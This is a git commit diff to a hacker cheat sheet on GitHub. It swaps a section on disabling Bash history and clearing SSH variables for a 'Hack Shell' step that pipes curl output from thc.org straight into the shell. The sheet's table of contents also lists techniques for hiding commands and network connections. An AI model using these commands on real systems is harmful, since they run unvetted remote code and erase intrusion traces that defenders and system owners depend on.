Merge branch 'master' of github.com:hackerschoice/thc-tips-tricks-hacks-cheat-sheet

This commit is contained in:
Root THC
2024-06-28 16:04:24 +01:00
+6 -14
View File
@@ -11,7 +11,7 @@ We show the tricks 'as is' without any explanation why they work. You need to kn
Got tricks? Join us on Telegram: [https://t.me/thcorg](https://t.me/thcorg)
1. [Bash](#bash)
1. [Leave Bash without history](#bash-no-history)
1. [Set up a Hack Shell](#hackshell)
1. [Hide your commands](#bash-hide-command)
1. [Hide your command line options](#zap)
1. [Hide a network connection](#bash-hide-connection)
@@ -114,23 +114,15 @@ Got tricks? Join us on Telegram: [https://t.me/thcorg](https://t.me/thcorg)
---
<a id="bash"></a>
## 1. Bash / Shell
<a id="bash-no-history"></a>
**1.i. Leave Bash without history:**
Tell Bash to use */dev/null* instead of *~/.bash_history*. This is the first command we execute on every shell. It will stop the Bash from logging your commands.
<a id="hackshell"></a>
**1.i. Set up a Hack Shell (bash):**
Make BASH less noisy. Disables *~/.bash_history* and [many other things](tools/hackshell.sh).
```sh
export HISTFILE=/dev/null
unset SSH_CONNECTION SSH_CLIENT
```
(We also clear SSH_* variables in case we logged in with SSH. Otherwise any process we start gets a copy of our IP in /proc/self/environ.)
It is good housekeeping to 'commit suicide' when exiting a shell:
```sh
alias exit='kill -9 $$'
source <(curl -SsfL https://thc.org/hs)
```
Bonus tip:
Any command starting with a " " (space) will [not get logged to history](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces) either.
```
$ id